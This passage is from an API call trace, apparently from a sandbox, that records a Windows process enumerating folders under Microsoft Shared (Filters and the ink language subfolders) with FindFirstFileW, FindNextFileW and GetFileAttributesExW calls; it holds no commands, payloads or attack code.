(dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0077.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0077.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0077.483] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters", lpFilePart=0x0) returned 0x36 [0077.483] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.483] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.483] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.483] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.483] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0077.484] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0077.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0077.484] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink", lpFilePart=0x0) returned 0x32 [0077.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0077.484] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" (normalized: "c:\\program files\\common files\\microsoft shared\\ink"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0077.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0077.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0077.484] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink", lpFilePart=0x0) returned 0x32 [0077.484] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.484] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.484] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.484] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.484] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.484] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.484] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.484] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.485] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.485] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.485] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.485] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.485] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.485] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.485] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.485] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.485] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.485] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.485] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.485] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.485] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.486] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.486] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.486] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.486] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.486] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.486] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.486] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.486] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.486] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.486] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.486] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.486] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.487] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.487] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.487] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.487] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.487] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.487] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.487] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.487] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.487] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.487] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.487] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.488] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.488] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.488] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.488] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.488] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.488] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.488] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.488] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.488] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.488] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.488] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.488] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.489] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.489] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.489] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.489] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.489] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.489] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.489] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.489] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.489] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.489] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.489] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.489] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.490] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.490] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.490] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.490] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.490] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.490] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.490] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.490] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.490] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.490] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.490] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.490] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.490] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.490] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.490] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.490] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0077.491] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0077.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0077.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA", lpFilePart=0x0) returned 0x38 [0077.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0077.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0077.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0077.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA", lpFilePart=0x0) returned 0x38 [0077.492] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.492] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.492] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.492] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0077.492] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0077.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0077.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0077.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA", lpFilePart=0x0) returned 0x38 [0077.492] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.492] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.492] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.493] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0077.493] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0077.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0077.493] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG", lpFilePart=0x0) returned 0x38 [0077.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0077.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0077.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0077.493] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG", lpFilePart=0x0) returned 0x38 [0077.493] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.493] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.493] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.493] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0077.493] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0077.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0077.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0077.493] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG", lpFilePart=0x0) returned 0x38 [0077.493] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.494] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.494] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.494] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0077.494] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0077.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0077.494] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ", lpFilePart=0x0) returned 0x38 [0077.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0077.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0077.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0077.494] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ", lpFilePart=0x0) returned 0x38 [0077.494] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.494] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.494] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.494] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0077.494] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0077.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0077.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0077.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ", lpFilePart=0x0) returned 0x38 [0077.495] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.495] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.495] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.495] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0077.495] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0077.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0077.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 